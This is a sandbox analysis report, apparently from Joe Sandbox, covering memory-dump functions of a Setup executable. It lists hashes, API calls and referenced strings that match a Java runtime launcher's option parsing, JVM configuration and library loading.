Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed6893ba3549afef709f7b792e4ca409d451b4ebd17799ced286e90e90519d9
Instruction ID: b945198b0640c553e63f30865f38b18f47d1da870f4e85024af0a91f55d602a5
Opcode Fuzzy Hash: bed6893ba3549afef709f7b792e4ca409d451b4ebd17799ced286e90e90519d9
Instruction Fuzzy Hash: DB51B022B0869285F720EB76AD412AEBBA5BF41BD4F948235EE5C57F89CF38D141C710

Function 00007FF70C25DDD8 Relevance: 1.5, Strings: 1, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF70C25DF71

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: a558066dccb20300c2ed8870496e8d60fc2d09facd4851caef8dcd3dae15fdc6
Instruction ID: 6d69163e7b1c82789fd7bfb3377d7688729eae58017ec94db9b54f0e7606aa70
Opcode Fuzzy Hash: a558066dccb20300c2ed8870496e8d60fc2d09facd4851caef8dcd3dae15fdc6
Instruction Fuzzy Hash: 4C71D211B0C64746FA68BA299A003BBE7919F51B48FD41135DF8917FDACF3EE8428361

Function 00007FF70C25E05C Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

0, xrefs: 00007FF70C25E1F5

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 3599b47a282c3c01b9b0489b23f22b425611f643850141a40b2ffdc2dc5c9ed3
Instruction ID: ef33dfb3699b0e37791260963b85642e1df54785564ec008e1068fa43c23159e
Opcode Fuzzy Hash: 3599b47a282c3c01b9b0489b23f22b425611f643850141a40b2ffdc2dc5c9ed3
Instruction Fuzzy Hash: 9561F321A0C24346FA686A2D58003BBD7929F41B44FC69131DF495BFD9CF3DEE468721

Function 00007FF70C261CD8 Relevance: .3, Instructions: 285COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 961a36b829703b04ce8db46bb0b4062e1a9c829ab9d839192e5b6f0db5d2305e
Instruction ID: 759d3f4d04b4391b74b5b73c89ca3d1a0e6a605fbf3c3ab517dd763b5c7eddde
Opcode Fuzzy Hash: 961a36b829703b04ce8db46bb0b4062e1a9c829ab9d839192e5b6f0db5d2305e
Instruction Fuzzy Hash: 75912426B1828346FE296E29D8503BEB690AF54794F941139DE6E47FC0DF2CF815D630

Function 00007FF70C259ABC Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1e12706ec43ec9c9275fc6a742fd6c23767f2cd031f8989d8cce6e74dae816
Instruction ID: d54ce6534aa378c334313981d3c97ccc5cb07e082c45cee8e28c0f63162d8d3d
Opcode Fuzzy Hash: 4a1e12706ec43ec9c9275fc6a742fd6c23767f2cd031f8989d8cce6e74dae816
Instruction Fuzzy Hash: E0713832B142568AEA25AB6AB818F7BBB94FB48785F825031CF4917F40DB3CE445C760

Function 00007FF70C268414 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 9a3a534b085362e43156d84b0566409aa2cee27b7730dda760b5abe8302e17e4
Instruction ID: 9dcba2062ba16384450f3d94f66bb4d67567e9d36bf21f2f8b8f7fb90ec14e4f
Opcode Fuzzy Hash: 9a3a534b085362e43156d84b0566409aa2cee27b7730dda760b5abe8302e17e4
Instruction Fuzzy Hash: 6D41B222714B5A82EB04DF2ADD542A9B391BF48FD4B899033DE4D97B58DF3CD0458310

Function 00007FF70C26469C Relevance: .1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6da283c75ea1dbc9bd88145ed251b46990280ded1a85bbeffe29480dd7970cb7
Instruction ID: 18dbc55f5f42194adb3a1deb15bb3ec07f8503a7a6e543b1ca47dc5ee2ce4406
Opcode Fuzzy Hash: 6da283c75ea1dbc9bd88145ed251b46990280ded1a85bbeffe29480dd7970cb7
Instruction Fuzzy Hash: DD315A36E1C14386F6ABF5299D5567AF242AF83340FE49031D58D06F99CF2DB8859A30

Function 00007FF70C278320 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14798f9b8cc5b6a9c4efe69474c430c64b596e6a23c69794be42c2b676dbfa3b
Instruction ID: 3d2d0f21b2be1925f063d5ac2ec6b36feb46fa0d102efd42754be21e094ddd77
Opcode Fuzzy Hash: 14798f9b8cc5b6a9c4efe69474c430c64b596e6a23c69794be42c2b676dbfa3b
Instruction Fuzzy Hash: 03F04471A192568AEB989F2DA8836297790EF08380FD08039D68DC3F04D73C90548F24

Function 00007FF70C252BE4 Relevance: 75.3, APIs: 2, Strings: 48, Instructions: 330COMMON

Download Yara Rule

Strings

-XshowSettings:, xrefs: 00007FF70C252D34
-prof, xrefs: 00007FF70C252E8A
-version:, xrefs: 00007FF70C252F79
-ss, xrefs: 00007FF70C252EDB
-Xt, xrefs: 00007FF70C252DB3
-Dsun.java.launcher.diag=true, xrefs: 00007FF70C252D5E
-cs, xrefs: 00007FF70C252F4B
-Xtm, xrefs: 00007FF70C252DD2
-d32, xrefs: 00007FF70C252FE5
-noverify, xrefs: 00007FF70C252E64
-version, xrefs: 00007FF70C252CD1
-help, xrefs: 00007FF70C252C8C
-Xfuture, xrefs: 00007FF70C252E19
-no-jre-restrict-search, xrefs: 00007FF70C252F90
-fullversion, xrefs: 00007FF70C252D6A
-Xverify:all, xrefs: 00007FF70C252E2C
-Xverify:none, xrefs: 00007FF70C252E77
-Xrunhprof:cpu=old,file=java.prof, xrefs: 00007FF70C252ECA
-oss, xrefs: 00007FF70C252EEF
-Xverify:remote, xrefs: 00007FF70C252E5B
Error: %s requires class path specification, xrefs: 00007FF70C253103
Error: %s requires jar file specification, xrefs: 00007FF70C2530B3
-XshowSettings, xrefs: 00007FF70C252D1D
-checksource, xrefs: 00007FF70C252F34
-d64, xrefs: 00007FF70C252FFC
-verifyremote, xrefs: 00007FF70C252E48
-noasyncgc, xrefs: 00007FF70C252F62
-cp, xrefs: 00007FF70C252C51
-Xdebug, xrefs: 00007FF70C252DF1
-Xrunhprof:cpu=old,file=%s, xrefs: 00007FF70C252EBE
-ms, xrefs: 00007FF70C252F06
-jar, xrefs: 00007FF70C252C68
-debug, xrefs: 00007FF70C252DDE
-X%s, xrefs: 00007FF70C253040
-Xnoclassgc, xrefs: 00007FF70C252E10
Warning: %s option is no longer supported., xrefs: 00007FF70C25301A
-classpath, xrefs: 00007FF70C252C34
%s full version "%s", xrefs: 00007FF70C2530D4
-verify, xrefs: 00007FF70C252E35
-noclassgc, xrefs: 00007FF70C252DFD
-verbosegc, xrefs: 00007FF70C252D81
-tm, xrefs: 00007FF70C252DBF
-jre-restrict-search, xrefs: 00007FF70C252FA7
-showversion, xrefs: 00007FF70C252CE8
-mx, xrefs: 00007FF70C252F1D
-verbose:gc, xrefs: 00007FF70C252D94
-splash:, xrefs: 00007FF70C252FBE
-Xdiag, xrefs: 00007FF70C252D4B

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID:
String ID: %s full version "%s"$-Dsun.java.launcher.diag=true$-X%s$-Xdebug$-Xdiag$-Xfuture$-Xnoclassgc$-Xrunhprof:cpu=old,file=%s$-Xrunhprof:cpu=old,file=java.prof$-XshowSettings$-XshowSettings:$-Xt$-Xtm$-Xverify:all$-Xverify:none$-Xverify:remote$-checksource$-classpath$-cp$-cs$-d32$-d64$-debug$-fullversion$-help$-jar$-jre-restrict-search$-ms$-mx$-no-jre-restrict-search$-noasyncgc$-noclassgc$-noverify$-oss$-prof$-showversion$-splash:$-ss$-tm$-verbose:gc$-verbosegc$-verify$-verifyremote$-version$-version:$Error: %s requires class path specification$Error: %s requires jar file specification$Warning: %s option is no longer supported.
API String ID: 0-425787817
Opcode ID: 7f036084960183b661eefc96a1ce56b9723c185c94b0e4ace30ccc05ddc543be
Instruction ID: 33e90f5e4b8c9934066dda993371cb6fd4136508ec093a7ab30f77451981bf42
Opcode Fuzzy Hash: 7f036084960183b661eefc96a1ce56b9723c185c94b0e4ace30ccc05ddc543be
Instruction Fuzzy Hash: ABE10664A0C70390FA14FB259E922BAE3A56F457C0FC45131DA0E86FA6EF7CE5458331

Function 00007FF70C25230C Relevance: 52.8, APIs: 8, Strings: 22, Instructions: 348COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70C255660: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF70C253857), ref: 00007FF70C255674

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C25239D
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C2523AC
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C2523CE
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C2523DD
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C252400
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C2525DD
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C2525EF
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C252613

Strings

ignoreUnrecognized is %s, , xrefs: 00007FF70C2523C7
argv[%2d] = '%s', xrefs: 00007FF70C252609
App's argc is %d, xrefs: 00007FF70C2525E6
println, xrefs: 00007FF70C252497
print, xrefs: 00007FF70C2524A1
JNI_TRUE, xrefs: 00007FF70C2523B5
nOptions is %ld, xrefs: 00007FF70C2523D6
JNI_FALSE, xrefs: 00007FF70C2523BC
getApplicationClass, xrefs: 00007FF70C252691
Error: A JNI error has occurred, please check your installation and try again, xrefs: 00007FF70C2524D8, 00007FF70C252651, 00007FF70C252676
%ld micro seconds to InitializeJVM, xrefs: 00007FF70C2525B3
()Ljava/lang/Class;, xrefs: 00007FF70C25268A
main, xrefs: 00007FF70C25270B
version 0x%08lx, , xrefs: 00007FF70C2523A5
sun/misc/Version, xrefs: 00007FF70C25247D
option[%2d] = '%s', xrefs: 00007FF70C2523F3
([Ljava/lang/String;)V, xrefs: 00007FF70C252704
Error: Could not detach main thread.Error: A JNI error has occurred, please check your installation and try again, xrefs: 00007FF70C25250A, 00007FF70C25279C, 00007FF70C2527DD, 00007FF70C252805
JavaVM args: , xrefs: 00007FF70C252396
()V, xrefs: 00007FF70C2524A8
Error: Could not create the Java Virtual Machine.Error: A fatal exception has occurred. Program will exit., xrefs: 00007FF70C252830
%s is '%s', xrefs: 00007FF70C2525D6

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: wprintf$FrequencyPerformanceQuery
String ID: argv[%2d] = '%s'$ option[%2d] = '%s'$%ld micro seconds to InitializeJVM$%s is '%s'$()Ljava/lang/Class;$()V$([Ljava/lang/String;)V$App's argc is %d$Error: A JNI error has occurred, please check your installation and try again$Error: Could not create the Java Virtual Machine.Error: A fatal exception has occurred. Program will exit.$Error: Could not detach main thread.Error: A JNI error has occurred, please check your installation and try again$JNI_FALSE$JNI_TRUE$JavaVM args: $getApplicationClass$ignoreUnrecognized is %s, $main$nOptions is %ld$print$println$sun/misc/Version$version 0x%08lx,
API String ID: 55271498-324781675
Opcode ID: a2830ed6dd11f73e3a7db01377140e82db5158da22dd514a3a82fd16b2e03892
Instruction ID: 539f49518b634ef9ac06eb4d24de7289609063183c11024d7e1b0f8cc0f491c9
Opcode Fuzzy Hash: a2830ed6dd11f73e3a7db01377140e82db5158da22dd514a3a82fd16b2e03892
Instruction Fuzzy Hash: 8CF10862B09A43C5EA00FF65DC911BAA7A1BF84F94B844136DE0D57BA5DF3CE849C360

Function 00007FF70C255C4C Relevance: 38.8, APIs: 9, Strings: 13, Instructions: 311processsynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF70C255C9C

Part of subcall function 00007FF70C26A3E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26A401

GetCommandLineA.KERNEL32 ref: 00007FF70C255D0D
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C255FB1
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C255FC2
CreateProcessA.KERNEL32 ref: 00007FF70C25604B
WaitForSingleObject.KERNEL32 ref: 00007FF70C2560A9
GetExitCodeProcess.KERNEL32 ref: 00007FF70C2560BD

Part of subcall function 00007FF70C256630: MessageBoxA.USER32 ref: 00007FF70C2566D2

CloseHandle.KERNEL32 ref: 00007FF70C2560DE
CloseHandle.KERNEL32 ref: 00007FF70C2560E9

Strings

-cp, xrefs: 00007FF70C255E6C
%s\bin\%s.exe, xrefs: 00007FF70C255CFB
ExecJRE: new: %s, xrefs: 00007FF70C255CC8
-version:, xrefs: 00007FF70C255E85
ExecJRE: old: %s, xrefs: 00007FF70C255CB9
-classpath, xrefs: 00007FF70C255E59
ReExec Command: %s (%s), xrefs: 00007FF70C255FAA
-no-jre-restrict-search, xrefs: 00007FF70C255EAF
Error: WaitForSingleObject() failed., xrefs: 00007FF70C2560C9
ReExec Args: %s, xrefs: 00007FF70C255FBB
-jre-restrict-search, xrefs: 00007FF70C255E9C
Error: Unable to resolve %s, xrefs: 00007FF70C2560FC
Error: CreateProcess(%s, ...) failed:, xrefs: 00007FF70C25608B

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CloseHandleProcesswprintf$CodeCommandCreateExitFileLineMessageModuleNameObjectSingleWait_invalid_parameter_noinfo
String ID: %s\bin\%s.exe$-classpath$-cp$-jre-restrict-search$-no-jre-restrict-search$-version:$Error: CreateProcess(%s, ...) failed:$Error: Unable to resolve %s$Error: WaitForSingleObject() failed.$ExecJRE: new: %s$ExecJRE: old: %s$ReExec Args: %s$ReExec Command: %s (%s)
API String ID: 2354071828-2302492997
Opcode ID: 155a8a214b59518197faade966d3838315f6f093e45cc8a2a11e5612f3aa2eb2
Instruction ID: 7fd516640096f9d882f211cc349de0f4bbe6b98d319e963ddfbd0e44ecd74c2d
Opcode Fuzzy Hash: 155a8a214b59518197faade966d3838315f6f093e45cc8a2a11e5612f3aa2eb2
Instruction Fuzzy Hash: B7D16721E1964395EA00FB65AC952BEE3A1AF85B90FC04536EA4D47F96EF7CE405C320

Function 00007FF70C253E6C Relevance: 33.4, APIs: 5, Strings: 14, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,00000000,?,00000000,00007FF70C25200F), ref: 00007FF70C253FC0
GetCurrentProcessId.KERNEL32(?,?,00000000,?,00000000,00007FF70C25200F), ref: 00007FF70C254003
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C25402F
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C25403E
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C254055

Strings

-cp, xrefs: 00007FF70C253EAB
-jar, xrefs: 00007FF70C253F3E
-, xrefs: 00007FF70C253ED9
TRACER_MARKER: NativeMemoryTracking: putenv arg %s, xrefs: 00007FF70C254037
TRACER_MARKER: NativeMemoryTracking: got value %s, xrefs: 00007FF70C25404E
TRACER_MARKER: NativeMemoryTracking: env var is %s, xrefs: 00007FF70C254028
-classpath, xrefs: 00007FF70C253EC2
-version, xrefs: 00007FF70C253EE2
-XX:NativeMemoryTracking=, xrefs: 00007FF70C253F6C, 00007FF70C253F83
-help, xrefs: 00007FF70C253F10
-, xrefs: 00007FF70C253EA1
-fullversion, xrefs: 00007FF70C253EF9
%s%d=%s, xrefs: 00007FF70C253FCC
%s%d, xrefs: 00007FF70C25400F

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: wprintf$CurrentProcess
String ID: %s%d$%s%d=%s$-$-$-XX:NativeMemoryTracking=$-classpath$-cp$-fullversion$-help$-jar$-version$TRACER_MARKER: NativeMemoryTracking: env var is %s$TRACER_MARKER: NativeMemoryTracking: got value %s$TRACER_MARKER: NativeMemoryTracking: putenv arg %s
API String ID: 2490283382-3922024441
Opcode ID: 2ab74741108a55d3cfd27af9a4642a2124bf9988204b8e18245889c09d8eede1
Instruction ID: 8fed4ea4cb66486379e683f081220d0ef43491d12baf4dfa1873b2f46c5d3c9f
Opcode Fuzzy Hash: 2ab74741108a55d3cfd27af9a4642a2124bf9988204b8e18245889c09d8eede1
Instruction Fuzzy Hash: B451EA60E0875344FA14FB66AD411BAE394AF85BC4FC84131EE4E4BB96EF7CE5858360

Function 00007FF70C25348C Relevance: 31.8, APIs: 1, Strings: 17, Instructions: 269COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70C255660: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF70C253857), ref: 00007FF70C255674

Part of subcall function 00007FF70C25FD30: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C25FC99

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C25386E

Part of subcall function 00007FF70C256630: MessageBoxA.USER32 ref: 00007FF70C2566D2

Strings

Error: could not open `%s', xrefs: 00007FF70C2538AF
Warning: Missing server class VM on line %d of `%s', xrefs: 00007FF70C25374B
ERROR, xrefs: 00007FF70C2536ED
jvm.cfg[%d] = ->%s<-, xrefs: 00007FF70C253791
WARN, xrefs: 00007FF70C2536BA
VM_ALIASED_TO, xrefs: 00007FF70C2537FB
IGNORE, xrefs: 00007FF70C2536D2
name: %s vmType: %s alias: %s, xrefs: 00007FF70C253802
ALIASED_TO, xrefs: 00007FF70C253652
Warning: Unknown VM type on line %d of `%s', xrefs: 00007FF70C253779
Warning: No leading - on line %d of `%s', xrefs: 00007FF70C25354C
KNOWN, xrefs: 00007FF70C25363B
VM_IF_SERVER_CLASS, xrefs: 00007FF70C2537D7
Warning: Missing VM type on line %d of `%s', xrefs: 00007FF70C253624
%ld micro seconds to parse jvm.cfg, xrefs: 00007FF70C253867
name: %s vmType: %s server_class: %s, xrefs: 00007FF70C2537DE
IF_SERVER_CLASS, xrefs: 00007FF70C253708

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: FrequencyMessagePerformanceQuery_invalid_parameter_noinfowprintf
String ID: name: %s vmType: %s alias: %s$ name: %s vmType: %s server_class: %s$%ld micro seconds to parse jvm.cfg$ALIASED_TO$ERROR$Error: could not open `%s'$IF_SERVER_CLASS$IGNORE$KNOWN$VM_ALIASED_TO$VM_IF_SERVER_CLASS$WARN$Warning: Missing VM type on line %d of `%s'$Warning: Missing server class VM on line %d of `%s'$Warning: No leading - on line %d of `%s'$Warning: Unknown VM type on line %d of `%s'$jvm.cfg[%d] = ->%s<-
API String ID: 2156942979-2085308502
Opcode ID: cb4146e40dd08ca8a27a13731992efbe169cded30751264641f7d419cabc5844
Instruction ID: 42e3570ae4dd00a64dd21c8443c3589a4ac4e7b159f1f55fa82984d51c0221f8
Opcode Fuzzy Hash: cb4146e40dd08ca8a27a13731992efbe169cded30751264641f7d419cabc5844
Instruction Fuzzy Hash: F2C17C65E0D64385FA10FB25AC512BAE3A0AF857D4FC46136DA4E87FA6DF3CE4059320

Function 00007FF70C25533C Relevance: 31.7, APIs: 8, Strings: 10, Instructions: 179libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70C2553C8
LoadLibraryA.KERNEL32 ref: 00007FF70C255427
LoadLibraryA.KERNEL32 ref: 00007FF70C255452
LoadLibraryA.KERNEL32 ref: 00007FF70C25547C
GetProcAddress.KERNEL32 ref: 00007FF70C25549C

Part of subcall function 00007FF70C256630: MessageBoxA.USER32 ref: 00007FF70C2566D2

Strings

J2D_D3D, xrefs: 00007FF70C255528
preloadStop, xrefs: 00007FF70C255492
J2D_D3D_PRELOAD, xrefs: 00007FF70C255552
true, xrefs: 00007FF70C25559D
\bin\java.dll, xrefs: 00007FF70C255437
preloadD3D, xrefs: 00007FF70C2555C6
\bin\verify.dll, xrefs: 00007FF70C255396, 00007FF70C255411
Error: Path length exceeds maximum length (PATH_MAX), xrefs: 00007FF70C2553AD
false, xrefs: 00007FF70C255539, 00007FF70C255566
\bin\awt.dll, xrefs: 00007FF70C255461

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: LibraryLoad$AddressProc$Message
String ID: Error: Path length exceeds maximum length (PATH_MAX)$J2D_D3D$J2D_D3D_PRELOAD$\bin\awt.dll$\bin\java.dll$\bin\verify.dll$false$preloadD3D$preloadStop$true
API String ID: 3101497455-3693045609
Opcode ID: 5a36ed472193ec25cfcea15ef0ae03a46e7eea35b8d27c3ab642bdf1c246a56a
